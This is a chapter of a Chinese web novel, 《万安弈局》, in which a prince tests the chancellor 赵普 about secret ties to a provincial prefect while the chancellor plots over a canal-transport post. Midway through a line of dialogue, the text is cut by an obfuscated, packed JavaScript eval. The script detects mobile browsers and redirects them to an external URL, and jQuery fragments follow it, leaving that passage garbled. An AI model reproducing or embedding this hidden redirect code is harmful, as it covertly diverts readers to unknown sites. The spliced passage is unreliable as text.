55. 第十三章

作品:《万安弈局

    次日早朝,万安宫门外的寒气尚未散尽,告假半月有余的刘聿洵终于出现在了宫门口。


    皇子身为天家血脉,原不必与百官一般,顶着烈日寒风在宫外苦候。只需在承乾殿廊下静立,侯皇帝升座便可。


    而刘聿洵却不同,他虽身为皇子,却不似太子那般居于万安宫中,是以每逢有政务需同官员商议,便会亲自至宫门外等候,寻着主事之人,低语几句。


    因而今日在万安宫门外瞧见雍王,大臣们并不感到意外。


    “父皇已降恩典,炎夏寒冬,赵相皆不必侯于万安宫外,可入承乾殿偏殿暂歇,静候早朝。目下既过秋分,朔风渐紧,寒气一日浓过一日,如此天气,大人何苦立于风中受此寒凉?”


    万安宫外,侯朝官员甚重。往日无论刘聿洵所寻何人,都必先去赵普处致意。


    更何况今日他找的便是赵普,更是入了万安门外广场,便直直就冲着赵普来了。


    赵普素来自律甚严,从不愿让人觉得他年事已高、不堪重任,是以无论酷暑寒冬,皆要与百官一道立在宫外候着。


    往日里,他身侧定是围满了前来攀谈的官员,可今日却不同,他的周围只是零星地站着几个与其亲近的同僚。倒是离他甚远的另一角,反倒聚了黑压压一群人。


    刘聿洵只淡淡瞥了一眼,便知那被围在正中的,定是越州知府李茂才。


    赵普见刘聿洵走近,忙拱手回道:“陛下赐老臣恩典,是陛下仁厚体恤。然老臣筋骨未衰,自当恪守朝堂规制,万不敢因一己之身,坏了百官同侯的规矩。”


    “若满朝文武都能像赵相这般,那父皇便是垂拱而治,也能坐看四海升平了。”刘聿洵颔首轻笑,语气里听着亦满是敬佩口吻。


    万安城从来如此,自拂晓睁眼的那一刻开始,哪怕是这些位高权重之辈,亦要拉开了戏台的帷幕。而他刘聿洵,亦是这戏里的一角。


    “殿下不必挂怀老夫。老臣听闻殿下染恙,辍朝多日,如今殿下新愈,元气还未恢复,何苦同我们一般,在风里等那朝钟鸣响呢?”边说着,赵普边将手中的暖炉塞到刘聿洵的手中,尽显长辈的关爱。


    赵普虽对刘聿洵在漕运总督任免一事上横插一脚心存芥蒂,可眼下显然还不欲将这位皇子视作仇敌。


    单看这番嘘寒问暖,全然是老臣对皇子的私谊关切,半分锋芒也无。


    当然,还有另一种可能。赵普已然知晓,在漕运总督的位置上,刘聿洵已是自断前路,再无半分角逐的指望。一个失去竞争力的对手,予其几分关照,本也是无关痛痒的小事。


    “谢过赵相关心。军旅之中,常有跌打劳损,此次不过是又逢时节交替,不慎染了风寒。二疾相缠,这才在府中多静养了些时日。”刘聿洵将那暖炉拢进袖中,轻咳一声,将目光投向另一侧的人堆,佯装不知问道,“多日未上朝,朝中可是有何大事?何以众人都聚在了那里?”


    “是越州知府。”赵普瞧也没瞧刘聿洵所指的方向,他又怎会当真刘聿洵不认得此人,只淡淡睃了他一眼,缓缓应道。


    “哦?昨日我便听闻,父皇今日特意传召李知府入朝议政。”刘聿洵收回目光,假装惊讶问道,“但我所闻的,皆是李知府不擅应酬、为官清正的说法。可今日瞧着他在这众目睽睽的中心,也不见有半点局促嘛?莫非我大庆的这位封疆重臣,竟非外传那般清正自持、不擅周旋?”


    军粮的线索,在漕运处戛然而断,可眼下这军粮的源头越州府偏生出了惹人疑窦的事端。要知道这批军粮本就在越州府产出,经明州府北上运抵万安城。事到如今刘聿洵想知道的是,这两处贪墨,究竟是各自行事的两伙奸佞,还是早早就勾连一处的一条黑链。


    “是吗?微臣对此人了解甚少。”


    刘聿洵此问刁钻在出其不意。他素来不爱在人后搬弄是非,故而笃定赵普对此问定是毫无防备。


    果真如他所料,当朝权相一人之下万人之上,面对这炙手可热的重臣,岂会说什么不知不识?这般刻意避嫌,故作陌路,其背后定然藏着不可告人的勾当。


    “赵相对满朝文武素来了如指掌,上至他们的功勋政绩,下至府中里短,无一不晓。这般看来,这李知府尚且还需努力,方能引得赵相侧目。”刘聿洵唇角含笑,装模作样笑叹道。


    “越州府山高路远,远离京畿,微臣......”


    “殿下可都好利索了?”还没等赵普说完,郑岐玉便低声唤着,匆匆往此处小跑着过来,“不过是挨了顿板子,竟能叫殿下在府中躺了那么久,我瞧殿下现在是越发不济了。”


    郑岐玉刚凑到刘聿洵身边,便一把攥住他的双臂,上上下下仔细打量了起来,眉宇间满是藏不住的忧心。


    “郑尚书,本王已经痊愈了。”刘聿洵抬手拦下郑岐玉,忙后退了半步,满脸嫌弃说道。


    刘聿洵自懂事起便在军营中跟着郑岐玉。当年刘祀正是盼着他的这个儿子能在军营里磨砺筋骨、习得兵法,是以郑岐玉从不因他皇子身份加以纵容。


    因而二人相处,向来是师徒情分重,君臣礼数轻。


    “这许久方才痊愈,定是之前未曾好生操练。”郑岐玉兀自骂骂咧咧了半响,余光扫过身侧,才后知后觉瞥见立在一旁的赵普,忙拱手行礼道,“赵相安好。”


    “郑尚书还是这般风风火火的性子,即便身登尚书之位,却仍有当年军中的蓬勃朝气。”


    赵普此话明面上听着像是夸赞,可便是郑岐玉这般粗疏武人,也听出了话音里藏着的几分不虞。


    “微臣久未得见殿下,一时情急,竟未察觉赵相与殿下在此议事,是臣唐突了。”郑岐玉连忙认错道。


    “本不过是打发些侯朝的时光罢了,算不得什么要紧事。倒是郑尚书,我听闻自殿下染恙至今,巡防营一应事务都是由你在代管,想来你们之间才是有要紧话要说。”赵普轻了轻嗓子,朝着刘聿洵说道,“殿下且先同郑尚书聊着,下官先行告退,便不打扰殿下说正事了。”


    说罢,赵普微微躬身行礼,待刘聿洵抬手允准后,便转身朝着王国盈的方向走去。


    瞧着赵普走远,刘聿洵才再开口玩笑道:“郑尚书这出戏,演得真是不错。这几日我虽在府中养伤,见你的次数反胜过军中。要不是这北风刮得我头痛,方才你眼中那几分真切,连我都险些信了。”


    “我素来最是讨厌这些虚头巴脑的把戏,若非与你一处谋划,何苦日日在人前演这等烂戏。”


    “行行行,此番辛苦郑尚书了。”刘聿洵边说着边将方才赵普塞给自己的暖炉塞到郑岐玉的怀中,陪笑道。


    “你何时见我用过这东西?”待郑岐玉看清塞过来的物件,忙抬手阻止。


    “行行好吧,你若不将这东西接了去,那可真是要了我的性命了。”


    话尚未说完,刘聿洵已将袖口一敞,郑岐玉这才瞧见,他的怀里竟还藏着另一个暖炉。


    “你最是怕热,自己揣着一个也就罢了,何苦还要拿赵普那一个?”郑岐玉只能将那暖炉揣到怀中,埋怨道。


    “他既如此好作戏,我便顺水推舟,陪他演上一出,冻他一会儿又如何?”


    郑岐玉刚将那暖炉揽入怀中,朝着赵普的方向瞧去。果然,他找到王国盈的第一件事便是要了他的暖炉。


    “哈哈哈,你切莫将咱们这位赵相给折损了去。须知树倒猢狲散。若没了这主心骨,你想将这条链条连根拔起,可就千难万难了。”


    想到明州城内对王太初痛下杀手之人,或许便是赵普,刘聿洵只恨不能将其就地格杀。


    “怎的?你当真要叫他这般殒命不成?”注意到刘聿洵眼中升腾起来的杀气,郑岐玉蹙眉阻止道。


    “自然不会。”刘聿洵笑笑,收回目光问道,“如何?你瞧了那么久,可瞧见这李茂才可有跟何人搭话?”


    “无非皆是些虚与委蛇的场面话罢了。”见刘聿洵说起正事,郑岐玉才宽下心来。他微微挪了挪身位,堪堪能将刘聿洵的身影掩住,又恰好背过了那热闹之处,轻声说道,“只有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17027033|180575||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一事我觉着不合常理。”


    “李茂才是不是未同赵普打招呼?”


    “你如何得知?”郑岐玉满脸狐疑,刘聿洵分明姗姗来迟,却对这古怪之处了如指掌,“莫不是你早就蹲守在了此处?”


    “我大病方愈,哪会如此折腾自己?”他笑了笑,卖起了关子说道,“只是方才用了招出其不意,攻其不备的寻常招数罢了。”


    “你爱说便说。”郑岐玉是个急性子,忙催问道。


    “方才我问了赵普,其对李茂才的看法,你猜他是如何作答的?”


    “赵普能作何答?此人数十载宦海沉浮,最擅八面玲珑。李茂才既为远镇一方的重臣,今日又得入朝议政之机,他自会句句赞好。”


    “我原以为也是如此。”刘聿洵摇摇头,继续说道,“却不想赵普说他不知。”


    “他不知?”郑岐玉闻言笑道,“这州知府一职,竟还有他不知之人。殿下可还记得,前岁兵部换了个扫洒的杂役,这般微末小事,他尚且了如指掌。”


    “先前殿下尚还只是怀疑赵普和越州知府有勾结,如今看来,如此刻意避嫌,定是早已同流合污了。”郑岐玉又朝前走了两步,更是压低了声音,“断断不可教赵普知晓,我等已疑心到了他的身上,届时我多派些人手盯住他们......”


    “来不及了,我已经提醒了赵普。”刘聿洵方才对赵普的那番话是有意为之,他本意便是要提醒赵普自己的怀疑。


    “你疯了吗?好不容易寻得的线索。”没料想刘聿洵会如此草率,他不自觉地提高了声响,责问道。


    “盯死他们又有何用?”刘聿洵将目光转向赵普的方向,示意郑岐玉冷静,待看到他平静下来才再开口解释,“我遣人自越州府起便开始跟着此人,一路护送着他进京,然所得者,也不过是撕下了他虚与委蛇的假面罢了。”


    “此番李茂才是入京述职,你我皆不敢断言他们二人是否会在京中有所往来。若他们此间并无交涉,你我此番筹谋,岂不是竹篮打水一场空?与其坐等机会自至,不如亲自造局自用。今日唯我将此疑窦摊开在其面前,他才会想方设法寻到那李茂才,将我的疑虑告知于他,令他严加提防。”


    “你是想搅浑这潭水?”


    “这水已经浑了,索性再浑一些也无碍。”刘聿洵眯起双眼,神情像是蛰伏林间已久、急切等待收网的猎手,“我会传令李全胜,命他盯紧赵普和李茂才身边所有人,绝不容他们有半分机会,在我眼皮底下作祟。”


    镗--镗--镗--


    恰在此时,朝钟轰然长鸣。郑岐玉兀自沉浸在刘聿洵方才的话语中,被这钟声一惊,猛然回过神来。


    他不及掩饰,回头望向赵普,竟不巧与对方投来的目光撞了个正着。


    赵普亦是猝不及防,却依旧神色沉稳,他朝着刘聿洵的方向拱手一揖。旋即,便示意王国盈随自己一同入宫。


    “赵相,可是有何事?”


    王国盈最是知道赵普的脾性,见他脚步比往日快了些,忙追问道。


    “不要回头。”赵普并未正面回答,只先叮嘱道,随后才开始说正事,“雍王已经察觉了我同李茂才的关系,想必暗中早已派人盯防你我。他今日如此直言不讳,不过是想扰我心神,教我自露马脚。”


    赵普思忖了半刻,才再叹气说道。


    “此前和李茂才约定的时辰,我等便不必去了。再者,京中若无要紧之事,他同我此番也不必再见,那件东西便教他带回便是。”


    “微臣明白。”王国盈闻言,心中一惊,却还是强令自己冷静下来开口问道,“那先前同李知府商定的计划,可还要依计行事?”


    “你还有更好的计划吗?”大清早便被刘聿洵摆了一道,赵普心下大为不快,当即沉下脸来,厉声责问道,“如果没有更好的计划,便依计行事。陛下不肯将漕运总督的位子给我,可他莫不是忘了,这江山是谁替他坐稳的?我倒是要看看,不是我赵普的人,还有谁配,谁又敢要了那位子?”